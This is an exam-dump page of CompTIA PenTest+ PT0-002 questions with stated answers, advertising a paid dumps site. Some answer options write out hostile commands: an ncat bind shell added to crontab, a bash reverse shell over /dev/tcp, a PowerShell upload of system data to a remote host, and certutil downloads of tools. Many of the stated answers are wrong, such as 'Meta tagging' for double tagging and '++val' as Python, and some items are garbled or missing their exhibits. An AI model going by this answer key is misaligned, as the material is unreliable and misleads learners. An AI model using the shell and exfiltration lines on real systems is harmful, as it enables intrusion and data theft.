CompTIA PT0-002 Real Exam Questions and Answers FREE
Exam Dumps PT0-002 Practice Free Latest CompTIA Practice Tests
NEW QUESTION 15
A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?
- A. RFID tagging
- B. Meta tagging
- C. Tag nesting
- D. RFID cloning
Answer: B
NEW QUESTION 16
A penetration tester performs the following command:
curl -I -http2 https://www.comptia.org
Which of the following snippets of output will the tester MOST likely receive?
- A. Option A
- B. Option B
- C. Option D
- D. Option C
Answer: A
NEW QUESTION 17
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?
- A. Bill of materials including supplies, subcontracts, and costs incurred during assessment
- B. Quantitative impact assessments given a successful software compromise
- C. Executive summary of the penetration-testing methods used
- D. Code context for instances of unsafe type-casting operations
Answer: B
NEW QUESTION 18
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?
- A. sudo useradd -ou 0 -g 0 user
- B. wmic startup get caption,command
- C. crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
- D. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
Answer: B
NEW QUESTION 19
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
- A. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- B. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- C. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- D. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe
Answer: A
NEW QUESTION 20
A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
Have a full TCP connection
Send a "hello" payload
Walt for a response
Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?
- A. Employ an OpenVAS simple scan against the TCP port of the host.
- B. Create a script in the Lua language and use it with NSE.
- C. Perform a credentialed scan with Nessus.
- D. Run nmap -Pn -sV -script vuln <IP address>.
Answer: C
NEW QUESTION 21
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
- A. Perform a reverse DNS query and match to the service banner.
- B. Test for RFC-defined protocol conformance.
- C. Check for an open relay configuration.
- D. Attempt to brute force authentication to the service.
Answer: A
NEW QUESTION 22
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?
- A. To validate the billing information with the client
- B. As proof in case they are discovered
- C. As backup in case the original documents are lost
- D. To guide them through the building entrances
Answer: B
NEW QUESTION 23
A consultant is reviewing the following output after reports of intermittent connectivity issues:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?
- A. An ARP flooding attack is using the broadcast address to perform DDoS.
- B. A device on the network has an IP address in the wrong subnet.
- C. A device on the network has poisoned the ARP cache.
- D. A multicast session was initiated using the wrong multicast group.
Answer: D
NEW QUESTION 24
A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?
- A. Run nmap with the -sV and -p22 options set against the target
- B. Run nmap with the -sA option set against the target
- C. Run nmap with the --script vulners option set against the target
- D. Run nmap with the -o, -p22, and -sC options set against the target
Answer: B
NEW QUESTION 25
A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?
- A. nc 10.10.51.50 9891 < exploit
- B. powershell -exec bypass -f \\10.10.51.50\9891
- C. wget 10.10.51.50:9891/exploit
- D. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
Answer: C
NEW QUESTION 26
Which of the following is the MOST effective person to validate results from a penetration test?
- A. Team leader
- B. Chief Information Officer
- C. Client
- D. Third party
Answer: A
NEW QUESTION 27
A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results?
- A. Local administrator
- B. Network administrator
- C. Service
- D. Root user
Answer: C
NEW QUESTION 28
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?
- A. Wireshark
- B. Kismet
- C. Wifite
- D. Aircrack-ng
Answer: D
NEW QUESTION 29
A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?
- A. Performing spear phishing against employees by posing as senior management
- B. Attempting to tailgate an employee going into the client's workplace
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Dropping a malicious USB key with the company's logo in the parking lot
Answer: C
NEW QUESTION 30
Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?
- A. Scheduling of follow-up actions and retesting
- B. Review of the lessons learned during the engagement
- C. Attestation of findings and delivery of the report
- D. Acceptance by the client and sign-off on the final report
Answer: D
NEW QUESTION 31
Which of the following expressions in Python increase a variable val by one (Choose two.)
- A. val=(val+1)
- B. val++
- C. val+=1
- D. val=val++
- E. ++val
- F. +val
Answer: C,E
NEW QUESTION 32
A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?
- A. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- B. The reverse-engineering team will be given access to source code for analysis.
- C. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- D. The reverse-engineering team may have a history of selling exploits to third parties.
Answer: B
NEW QUESTION 33
A penetration tester obtained the following results after scanning a web server using the dirb utility:
...
GENERATED WORDS: 4612
---- Scanning URL: http://10.2.10.13/ ----
+ http://10.2.10.13/about (CODE:200|SIZE:1520)
+ http://10.2.10.13/home.html (CODE:200|SIZE:214)
+ http://10.2.10.13/index.html (CODE:200|SIZE:214)
+ http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 - FOUND: 4
Which of the following elements is MOST likely to contain useful information for the penetration tester?
- A. about
- B. info
- C. home.html
- D. index.html
Answer: A
NEW QUESTION 34
A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?
- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "no-password"
- C. "cisco-ios" "last-modified"
- D. "cisco-ios" "default-passwords"
Answer: A
NEW QUESTION 35
A penetration tester conducted a discovery scan that generated the following:
Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?
- A. nmap --open 192.168.0.1-254, uniq
- B. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print S5}'
- C. nmap -oG list.txt 192.168.0.1-254 , sort
- D. nmap -o 192.168.0.1-254, cut -f 2
Answer: D
NEW QUESTION 36
Which of the following BEST describe the OWASP Top 10? (Choose two.)
- A. The most critical risks of web applications
- B. A risk-governance and compliance framework
- C. The risks defined in order of importance
- D. A list of all the risks of web applications
- E. A checklist of Apache vulnerabilities
- F. A web-application security standard
Answer: A,C
NEW QUESTION 37
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?
- A. Information regarding the business impact if compromised
- B. The rules of engagement from the assessment
- C. A quick description of the vulnerability and a high-level control to fix it
- D. The executive summary and information regarding the testing company
Answer: A
NEW QUESTION 38
......
Verified PT0-002 Exam Dumps Q&As - Provide PT0-002 with Correct Answers: https://passguide.testkingpass.com/PT0-002-testking-dumps.html